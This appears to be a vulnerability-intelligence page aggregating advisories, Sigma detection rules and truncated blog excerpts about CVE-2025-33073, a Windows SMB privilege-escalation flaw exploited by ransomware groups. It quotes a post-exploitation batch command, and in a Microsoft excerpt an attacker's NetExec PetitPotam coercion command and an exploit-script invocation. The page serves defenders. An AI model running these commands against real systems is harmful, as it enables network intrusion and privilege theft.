CVE-2025-33073
published 2025-06-10CVE-2025-33073: Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.
PriorityP197high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomware
CISA Known Exploited Vulnerabilitydue 2025-11-10
Exploited in the wild
EPSS
78.52%
99.5th percentile
Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.
Affected
47 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | windows_10_1507 | < 10.0.10240.21034 | 10.0.10240.21034 |
| microsoft | windows_10_1607 | < 10.0.14393.8148 | 10.0.14393.8148 |
| microsoft | windows_10_1809 | < 10.0.17763.7434 | 10.0.17763.7434 |
| microsoft | windows_10_21h2 | < 10.0.19044.5965 | 10.0.19044.5965 |
| microsoft | windows_10_22h2 | < 10.0.19045.5965 | 10.0.19045.5965 |
| microsoft | windows_10_version_1507 | >= 10.0.10240.0 < 10.0.10240.21034 | 10.0.10240.21034 |
| microsoft | windows_10_version_1607 | >= 10.0.14393.0 < 10.0.14393.8148 | 10.0.14393.8148 |
| microsoft | windows_10_version_1809 | >= 10.0.17763.0 < 10.0.17763.7434 | 10.0.17763.7434 |
| microsoft | windows_10_version_21h2 | >= 10.0.19044.0 < 10.0.19044.5965 | 10.0.19044.5965 |
| microsoft | windows_10_version_22h2 | >= 10.0.19045.0 < 10.0.19045.5965 | 10.0.19045.5965 |
| microsoft | windows_11_22h2 | < 10.0.22621.5472 | 10.0.22621.5472 |
| microsoft | windows_11_23h2 | < 10.0.22631.5472 | 10.0.22631.5472 |
| microsoft | windows_11_24h2 | < 10.0.26100.4270 | 10.0.26100.4270 |
| microsoft | windows_11_version_22h2 | >= 10.0.22621.0 < 10.0.22621.5472 | 10.0.22621.5472 |
| microsoft | windows_11_version_22h3 | >= 10.0.22631.0 < 10.0.22631.5472 | 10.0.22631.5472 |
| microsoft | windows_11_version_23h2 | >= 10.0.22631.0 < 10.0.22631.5472 | 10.0.22631.5472 |
| microsoft | windows_11_version_24h2 | >= 10.0.26100.0 < 10.0.26100.4349 | 10.0.26100.4349 |
| microsoft | windows_server_2008 | — | — |
| microsoft | windows_server_2008_r2_service_pack_1 | >= 6.1.7601.0 < 6.1.7601.27769 | 6.1.7601.27769 |
| microsoft | windows_server_2008_service_pack_2 | >= 6.0.6003.0 < 6.0.6003.23351 | 6.0.6003.23351 |
| microsoft | windows_server_2012 | — | — |
| microsoft | windows_server_2012 | >= 6.2.9200.0 < 6.2.9200.25522 | 6.2.9200.25522 |
| microsoft | windows_server_2012_r2 | >= 6.3.9600.0 < 6.3.9600.22620 | 6.3.9600.22620 |
| microsoft | windows_server_2016 | < 10.0.14393.8148 | 10.0.14393.8148 |
| microsoft | windows_server_2016 | >= 10.0.14393.0 < 10.0.14393.8148 | 10.0.14393.8148 |
Detection & IOCsextracted from sources · hover to see the quote
command%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat↗
- →Alert on NTLMSSP authentication traffic over SMB where the negotiated hostname matches a manipulated/crafted value resembling the local machine name — indicative of NTLM reflection/local relay exploitation of CVE-2025-33073. ↗
- →Alert on execution of batch files from %TEMP% that run 'whoami' and redirect output to %SYSTEMROOT%\Temp\__output — a post-exploitation privilege-check pattern observed after CVE-2025-33073 exploitation. ↗
- →Monitor for IPC$ share access combined with NTLMSSP negotiation where the source and destination resolve to the same host — characteristic of NTLM reflection attacks exploiting CVE-2025-33073. ↗
- →Create SIEM alerts for scheduled tasks matching the string 'gentlemen*', as The Gentlemen ransomware group (active exploiter of CVE-2025-33073) uses this naming pattern. ↗
- →Enforce SMB signing and disable SMBv1 to mitigate the self-propagation mechanism leveraged via CVE-2025-33073 lateral movement. ↗
- →Monitor for wevtutil usage to clear Security/System logs as a defense evasion step following CVE-2025-33073 exploitation. ↗
- →Monitor for vssadmin and wmic commands deleting Volume Shadow Copies as a post-exploitation impact step in campaigns exploiting CVE-2025-33073. ↗
- →Monitor for Kerberos relay attacks and SMB authentication anomalies following lateral movement from Linux hosts, as CVE-2025-33073 was chained in a multi-stage intrusion involving F5 BIG-IP and Confluence pivoting. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vulncheck8.8HIGH
cisa8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-cfjg-2jr6-cgph: Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network
ghsa_unreviewed·2025-06-10
CVE-2025-33073 [HIGH] CWE-284 GHSA-cfjg-2jr6-cgph: Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network
Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.
VulnCheck
Microsoft Windows SMB Client Improper Access Control Vulnerability
vulncheck·2025·CVSS 8.8
CVE-2025-33073 [HIGH] CWE-284 Microsoft Windows SMB Client Improper Access Control Vulnerability
Microsoft Windows SMB Client Improper Access Control Vulnerability
Microsoft Windows SMB Client contains an improper access control vulnerability that could allow for privilege escalation. An attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate.
Affected: Microsoft Windows
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://www.enisa.europa.eu/sites/default/files/2025-10/ENISA%20Threat%20Landscape%202025.pdf; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://research.checkpoint.com/20
CISA
Microsoft Windows SMB Client Improper Access Control Vulnerability
cisa·2025-10-20·CVSS 8.8
CVE-2025-33073 [HIGH] CWE-284 Microsoft Windows SMB Client Improper Access Control Vulnerability
Vulnerability: Microsoft Windows SMB Client Improper Access Control Vulnerability
Affected: Microsoft Windows
Microsoft Windows SMB Client contains an improper access control vulnerability that could allow for privilege escalation. An attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-33073 ; https://nvd.nist.gov/vuln/detail/CVE-2025-33073
Remediation Due Date: 2025-11-10
Microsoft
Windows SMB Client Elevation of Privilege Vulnerability
vendor_msrc·2025-06-10·CVSS 8.8
CVE-2025-33073 [HIGH] CWE-284 Windows SMB Client Elevation of Privilege Vulnerability
Windows SMB Client Elevation of Privilege Vulnerability
Description: Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.
FAQ: What privileges could be gained by an attacker who successfully exploited this vulnerability?
An attacker who successfully exploited this vulnerability could gain SYSTEM privileges.
FAQ: How could an attacker exploit this vulnerability?
When multiple attack vectors can be used, we assign a score based on the scenario with the higher risk. In one such scenario for this vulnerability, the attacker could convince a victim to connect to an attacker controlled malicious application (for example, SMB) server. Upon connecting, the malicious server could compromise the protocol.
FAQ: How could an attacker exploit th
Sigma
Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network
sigma·CVSS 8.8
[HIGH] Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network
Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network
Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing.
The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.
Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.
It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records
to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.
Detection:
condition: selection
selection:
query|contains|all:
- UWhRCA
- BAAAA
Log Source: product: zeek
service: dns
Sigma
Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation
sigma·CVSS 8.8
[HIGH] Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation
Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation
Detects modifications to DNS records in Active Directory where the Distinguished Name (DN) contains a base64-encoded blob
matching the pattern "1UWhRCAAAAA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure,
commonly used in Kerberos coercion attacks. Adversaries may exploit this to coerce victim systems into authenticating to
attacker-controlled hosts by spoofing SPNs via DNS. It is one of the strong indicators of a Kerberos coercion attack,.
where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.
Please investigate the user account that made the changes, as it is likely a low-privileged account that ha
Sigma
Attempts of Kerberos Coercion Via DNS SPN Spoofing
sigma·CVSS 8.8
[HIGH] Attempts of Kerberos Coercion Via DNS SPN Spoofing
Attempts of Kerberos Coercion Via DNS SPN Spoofing
Detects the presence of "UWhRC....AAYBAAAA" pattern in command line.
The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.
Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.
It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records
to spoof Service Principal Names (SPNs) and redirect authentication requests like in CVE-2025-33073.
If you see this pattern in the command line, it is likely an attempt to add spoofed Service Principal Names (SPNs) to DNS records,
or checking for the presence of such records through the `nslookup` command.
Detection:
condit
Sigma
Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing
sigma·CVSS 8.8
[HIGH] Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing
Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing
Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing.
The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.
Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.
It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records
to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.
Detection:
condition: selection
selection:
QueryName|contains|all:
- UWhRCA
- BAAAA
Log Source: category: dns_query
product: windows
Unit42
No Manners Here: The Ruthless Rise of The Gentlemen Ransomware
blogs_unit42·2026-07-10
CVE-2024-55591 No Manners Here: The Ruthless Rise of The Gentlemen Ransomware
## No Manners Here: The Ruthless Rise of The Gentlemen Ransomware
Matt Brady
Published: July 10, 2026
Hospitality Hacks and Retail Reality Checks
Insights
Howling Scorpius
RaaS
Spikey Scorpius
## Executive Summary
The Gentlemen (aka Storm-2697 ) is a Ransomware-as-a-Service (RaaS) program active since at least July 2025. Public reporting indicates that the operators were likely active months earlier as an affiliate (known as ArmCorp) of Qilin RaaS, which Unit 42 tracks as Spikey Scorpius. Their ransomware variants are written in both C and Go programming languages , enabling the threat actors to spread their encryptors across different operating systems and virtual infrastructure. Figure 1 below illustrates the desktop wallpaper used by the ransomware after deployment.
Additio
Hackernews
The Gentlemen Ransomware Claims 478 Victims, Can Spread Like a Worm
blogs_hackernews·2026-06-11
CVE-2024-55591 The Gentlemen Ransomware Claims 478 Victims, Can Spread Like a Worm
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## The Gentlemen Ransomware Claims 478 Victims, Can Spread Like a Worm
A new analysis of The Gentlemen operation has revealed that the financially motivated threat group initially operated as an affiliate responsible for conducting double extortion attacks, while leveraging resources from various ransomware-as-a-service (RaaS) schemes like LockBit (aka Tenacious Mantis), Qilin (aka Pestilent Mantis), and Medusa (aka Venomous Mantis).
According to a detailed report published by PRODAFT, the group, which it tracks as Phantom Mantis, is led by a Russian-speaking cybercriminal it calls LARVA-368, who goes by the online aliases hast
Hackernews
AI Chatbot Recommendations Redirect Users to Cryptojacking Malware Sites
blogs_hackernews·2026-05-27
CVE-2025-33073 AI Chatbot Recommendations Redirect Users to Cryptojacking Malware Sites
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## AI Chatbot Recommendations Redirect Users to Cryptojacking Malware Sites
Microsoft has warned of an active cryptojacking campaign that makes use of artificial intelligence (AI) chatbot interactions as a mechanism for surfacing malicious download sites.
"This emerging delivery technique extends social engineering beyond conventional search results and increases the visibility of malicious software recommendations," Microsoft Defender Experts and the Microsoft Defender Security Research Team said in a report published Tuesday.
The activity, per the tech giant, impersonates legitimate system utilities like CrystalDiskInfo, HWM
Microsoft
From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence
blogs_microsoft·2026-05-22·CVSS 8.8
CVE-2025-33073 [HIGH] From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence
After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:
/opt/atlassian/confluence/conf/server.xml
/var/atlassian/application-data/confluence/confluence.cfg.xml
This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.
nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP]
Checkpoint
Thus Spoke…The Gentlemen
blogs_checkpoint·2026-05-13·CVSS 9.8
CVE-2024-55591 [CRITICAL] Thus Spoke…The Gentlemen
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
AI Research 2
Android Malware 23
Artificial Intelligence 4
ChatGPT 3
Check Point Research Publications 455
Cloud Security 1
CPRadio 44
Crypto 2
Data & Threat Intelligence 2
Data Analysis 0
Demos 22
Global Cyber Attack Reports 408
How To Guides 13
Ransomware 5
Russo-Ukrainian War 1
Security Report 1
Threat and data analysis 0
Threat Research 174
Web 3.0 Security 11
Wipers 0
## Thus Spoke…The Gentlemen
## Key Points
On May 4th, 2026, The Gentlemen RaaS administrator acknowledged on underground forums that an internal backend database ( Rocket ) had been leaked.
Securelist
Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025
blogs_securelist·2025-11-26·CVSS 6.5
CVE-2024-43451 [MEDIUM] Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025
Table of Contents
Just like the 2000s
How NTLM authentication works
NTLM is dead — long live NTLM
Persistent threats in NTLM-based authentication
Hash leakage
Coercion-based attacks
Credential forwarding
Man-in-the-Middle (MitM) attacks
NTLM exploitation in 2025
CVE-2024‑43451
BlindEagle campaign delivering Remcos RAT via CVE-2024-43451
Head Mare campaigns against Russian targets abusing CVE-2024-43451
CVE-2025-24054/CVE-2025-24071
Trojan distribution in Russia via CVE-2025-24054
CVE-2025-33073
Suspicious activity in Uzbekistan involving CVE-2025-33073
Protection and recommendations
Disable/Limit NTLM
Implement message signing
Enable Extended Protection for Authentication (EPA)
Monitor and audit NTLM traffic and authentication logs
Conclusions
Authors
Leandro Cuozzo
Securelist
How NTLM is being abused in 2025 cyberattacks
blogs_securelist·2025-11-26
How NTLM is being abused in 2025 cyberattacks
Table of Contents
- Just like the 2000s
- How NTLM authentication works
- NTLM is dead — long live NTLM
- Persistent threats in NTLM-based authentication
- NTLM exploitation in 2025
- Protection and recommendations
- Conclusions
Authors
- Leandro Cuozzo
## Just like the 2000s
Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.
Ever since that distant 2001, the weaknesses of the NTLM authenti
Checkpoint
27th October – Threat Intelligence Report
blogs_checkpoint·2025-10-27
CVE-2025-33073 27th October – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 27th October – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 27th October, please download our Threat Intelligence Bulletin .
TOP ATTACKS AND BREACHES
Toys “R” Us Canada has suffered a data breach that resulted in stolen customer records being leaked on the dark web. The compromised data affects an undisclosed number of individuals and includes names, physical addresses, email addresses, and phone numbers, while account passwords and financial details were not exposed.
Bleepingcomputer
CISA: High-severity Windows SMB flaw now exploited in attacks
blogs_bleepingcomputer·2025-10-20·CVSS 8.8
[HIGH] CISA: High-severity Windows SMB flaw now exploited in attacks
## CISA: High-severity Windows SMB flaw now exploited in attacks
## Sergiu Gatlan
"The attacker could convince a victim to connect to an attacker controlled malicious application (for example, SMB) server. Upon connecting, the malicious server could compromise the protocol," the company explained.
"To exploit this vulnerability, an attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate. This could result in elevation of privilege."
At the time, a security advisory indicated that information about the bug was already publicly accessible before the security updates were released, however the company has yet to publicly acknowledge CISA's claims that CVE-2025-33073 is under active exploitatio
Tenable
September 2025 Microsoft Patch Tuesday | Tenable®
blogs_tenable·2025-09-09
September 2025 Microsoft Patch Tuesday | Tenable®
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bleepingcomputer
Microsoft fixes Surface Hub boot issues with emergency update
blogs_bleepingcomputer·2025-06-17
Microsoft fixes Surface Hub boot issues with emergency update
## Microsoft fixes Surface Hub boot issues with emergency update
## Sergiu Gatlan
Microsoft has released an emergency update to fix a known issue causing startup failures for some Surface Hub v1 devices running Windows 10.
As the company explained when it acknowledged this issue last week, users see Secure Boot Violation errors on affected devices, prompting them to check the Secure Boot Policy in setup.
These boot problems only impact Surface Hub v1 systems running Windows 10, version 22H2, after installing the June 2025 Windows security update ( KB5060533 ). Microsoft also noted that these boot problems do not affect Surface Hub 2S and Surface Hub 3 devices.
While the company released a mitigation one day after discovering it to ensure that other systems would not be impacted after
Bleepingcomputer
Microsoft: KB5060533 update triggers boot errors on Surface Hub v1 devices
blogs_bleepingcomputer·2025-06-13·CVSS 8.8
[HIGH] Microsoft: KB5060533 update triggers boot errors on Surface Hub v1 devices
## Microsoft: KB5060533 update triggers boot errors on Surface Hub v1 devices
## Sergiu Gatlan
Microsoft is investigating a known issue that triggers Secure Boot errors and prevents Surface Hub v1 devices from starting up.
These boot problems only impact Surface Hub v1 systems running Windows 10, version 22H2, after installing the KB5060533 June 2025 Windows security update.
Microsoft says that "Surface Hub v1 devices might fail to start with the following error: 'Secure Boot Violation. Invalid signature detected. Check Secure Boot Policy in Setup."
It's also important to note that this known issue did not impact Surface Hub 2S and Surface Hub 3 devices, according to Redmond.
The company says it released a mitigation one day after discovering the issue, to ensure that other systems w
Bleepingcomputer
Windows 11 24H2 emergency update fixes Easy Anti-Cheat BSOD issue
blogs_bleepingcomputer·2025-06-12
Windows 11 24H2 emergency update fixes Easy Anti-Cheat BSOD issue
## Windows 11 24H2 emergency update fixes Easy Anti-Cheat BSOD issue
## Sergiu Gatlan
Microsoft has released an emergency Windows 11 24H2 update to address an incompatibility issue triggering restarts with blue screen of death (BSOD) errors on systems with Easy Anti-Cheat.
The out-of-band update ( KB5063060 ) is a revised version of the Windows 11 KB5060842 cumulative update released during this month's Patch Tuesday after many customers reported experiencing system reboots and IRQL_NOT_LESS_OR_EQUAL BSODs tied to ntoskrnl.exe or EasyAntiCheat_EOS.exe crashing on computers running various games, including Fortnite .
Microsoft said on Tuesday that the emergency update addressed a compatibility issue and rolled out to "a limited set of these devices" running Windows 11, version 24H2.
Ho
Krebs
Patch Tuesday, June 2025 Edition
blogs_krebs·2025-06-11·CVSS 8.8
CVE-2025-33053 [HIGH] Patch Tuesday, June 2025 Edition
Microsoft today released security updates to fix at least 67 vulnerabilities in its Windows operating systems and software. Redmond warns that one of the flaws is already under active attack, and that software blueprints showing how to exploit a pervasive Windows bug patched this month are now public.
The sole zero-day flaw this month is CVE-2025-33053 , a remote code execution flaw in the Windows implementation of WebDAV — an HTTP extension that lets users remotely manage files and directories on a server. While WebDAV isn’t enabled by default in Windows, its presence in legacy or specialized systems still makes it a relevant target, said Seth Hoyt , senior security engineer at Automox .
Adam Barnett , lead software engineer at Rapid7 , said Microsoft’s advisory for CVE-2025-33053 does
Tenable
Microsoft’s June 2025 Patch Tuesday Addresses 65 CVEs (CVE-2025-33053)
blogs_tenable·2025-06-10·CVSS 8.8
[HIGH] Microsoft’s June 2025 Patch Tuesday Addresses 65 CVEs (CVE-2025-33053)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Qualys
Microsoft and Adobe Patch Tuesday, June 2025 Security Update Review
blogs_qualys·2025-06-10
Microsoft and Adobe Patch Tuesday, June 2025 Security Update Review
## Table of Contents
Microsoft Patch Tuesday for June 2025
Adobe Patches for June 2025
Zero-day Vulnerabilities Patched in June Patch Tuesday Edition
Critical Severity Vulnerabilities Patched in June Patch Tuesday Edition
Other Microsoft Vulnerability Highlights
Microsoft Release Summary
Discover and Prioritize Vulnerabilities inVulnerability Management, Detection & Response (VMDR)
Rapid Response withPatch Management (PM)
Microsoft June 2025 Patch Tuesday Mitigations
Qualys Monthly Webinar Series
Microsoft’s June 2025 Patch Tuesday has landed, addressing a new batch of critical and important vulnerabilities across Windows and enterprise products. Here’s a quick breakdown of what you need to know.
## Microsoft Patch Tuesday for June 2025
In this month’s Patch Tuesday, June 2025
Qualys
Microsoft and Adobe Patch Tuesday, June 2025 Security Update Review | Qualys
blogs_qualys·2025-06-10
Microsoft and Adobe Patch Tuesday, June 2025 Security Update Review | Qualys
#### Table of Contents
- Microsoft Patch Tuesday for June 2025
- Adobe Patches for June 2025
- Zero-day Vulnerabilities Patched in June Patch Tuesday Edition
- Critical Severity Vulnerabilities Patched in June Patch Tuesday Edition
- Other Microsoft Vulnerability Highlights
- Microsoft Release Summary
- Discover and Prioritize Vulnerabilities inVulnerability Management, Detection & Response (VMDR)
- Rapid Response withPatch Management (PM)
- Microsoft June 2025 Patch Tuesday Mitigations
- Qualys Monthly Webinar Series
Microsoft’s June 2025 Patch Tuesday has landed, addressing a new batch of critical and important vulnerabilities across Windows and enterprise products. Here’s a quick breakdown of what you need to know.
## Microsoft Patch Tuesday for June 2025
In this month’s Patch Tuesd
Bleepingcomputer
Microsoft June 2025 Patch Tuesday fixes exploited zero-day, 66 flaws
blogs_bleepingcomputer·2025-06-10·CVSS 8.8
[HIGH] Microsoft June 2025 Patch Tuesday fixes exploited zero-day, 66 flaws
## Microsoft June 2025 Patch Tuesday fixes exploited zero-day, 66 flaws
## Lawrence Abrams
13 Elevation of Privilege Vulnerabilities
3 Security Feature Bypass Vulnerabilities
25 Remote Code Execution Vulnerabilities
17 Information Disclosure Vulnerabilities
6 Denial of Service Vulnerabilities
2 Spoofing Vulnerabilities
This count does not include Mariner, Microsoft Edge, and Power Automate flaws fixed earlier this month.
To learn more about the non-security updates released today, you can review our dedicated articles on the Windows 11 KB5060842 and KB5060999 cumulative updates and the Windows 10 KB5060533 cumulative update .
## Two zero-days
This month's Patch Tuesday fixes one actively exploited zero-day and one publicly disclosed vulnerability. Microsoft classifies a zero-day
Krebs
Patch Tuesday, June 2025 Edition
blogs_krebs·2025-06-10·CVSS 8.8
CVE-2025-33053 [HIGH] Patch Tuesday, June 2025 Edition
Microsoft today released security updates to fix at least 67 vulnerabilities in its Windows operating systems and software. Redmond warns that one of the flaws is already under active attack, and that software blueprints showing how to exploit a pervasive Windows bug patched this month are now public.
The sole zero-day flaw this month is CVE-2025-33053, a remote code execution flaw in the Windows implementation of WebDAV — an HTTP extension that lets users remotely manage files and directories on a server. While WebDAV isn’t enabled by default in Windows, its presence in legacy or specialized systems still makes it a relevant target, said Seth Hoyt, senior security engineer at Automox.
Adam Barnett, lead software engineer at Rapid7, said Microsoft’s advisory for CVE-2025-33053 does not m
Greynoiseio
NoiseLetter August 2025
blogs_greynoiseio
NoiseLetter August 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Crowdstrike
June 2025 Patch Tuesday: Updates and Analysis
blogs_crowdstrike·CVSS 7.5
CVE-2026-20929 [HIGH] June 2025 Patch Tuesday: Updates and Analysis
STARDUST CHOLLIMA Likely Compromises Axios npm Package Apr 01, 2026
Falcon for IT Supports Windows Secure Boot Certificate Lifecycle Management Apr 01, 2026
Detecting CVE-2026-20929: Kerberos Authentication Relay via CNAME Abuse Mar 31, 2026
How Charlotte AI AgentWorks Fuels Security's Agentic Ecosystem Mar 25, 2026
STARDUST CHOLLIMA Likely Compromises Axios npm Package Apr 01, 2026
Falcon for IT Supports Windows Secure Boot Certificate Lifecycle Management Apr 01, 2026
Detecting CVE-2026-20929: Kerberos Authentication Relay via CNAME Abuse Mar 31, 2026
How Charlotte AI AgentWorks Fuels Security's Agentic Ecosystem Mar 25, 2026
Video Highlights the 4 Key Steps to Successful Incident Response Dec 02, 2019
Helping Non-Security Stakeholders Understand ATT&CK in 10 Minutes or Less [VI
Recorded Future
October 2025 CVE Landscape
blogs_recorded_future·CVSS 9.8
[CRITICAL] October 2025 CVE Landscape
# October 2025 CVE Landscape: 32 High-Impact Vulnerabilities Demand Immediate Attention
October 2025 saw a significant escalation in vulnerability activity, with Recorded Future's Insikt Group® identifying 32 high-impact vulnerabilities, double the 16 identified in September's CVE report. Twenty-six of these vulnerabilities scored as Very Critical.
What security teams need to know:
- Microsoft dominates: Eight of 32 vulnerabilities affect Microsoft products, including a critical WSUS deserialization flaw (CVE-2025-59287) now being actively exploited
- CL0P ransomware group exploited an Oracle E-Business Suite zero-day (CVE-2025-61882) for data theft and extortion campaigns
- Legacy vulnerabilities persist: Five of the 14 RCE-enabling vulnerabilities are over a decade old, highlighting c
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073https://www.vicarius.io/vsociety/posts/cve-2025-33073-detection-script-improper-access-control-in-windows-smb-affects-microsoft-productshttps://www.vicarius.io/vsociety/posts/cve-2025-33073-mitigation-script-improper-access-control-in-windows-smb-affects-microsoft-productshttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33073
2025-06-10
Published
2025-10-20
Added to CISA KEV
Exploited in the wild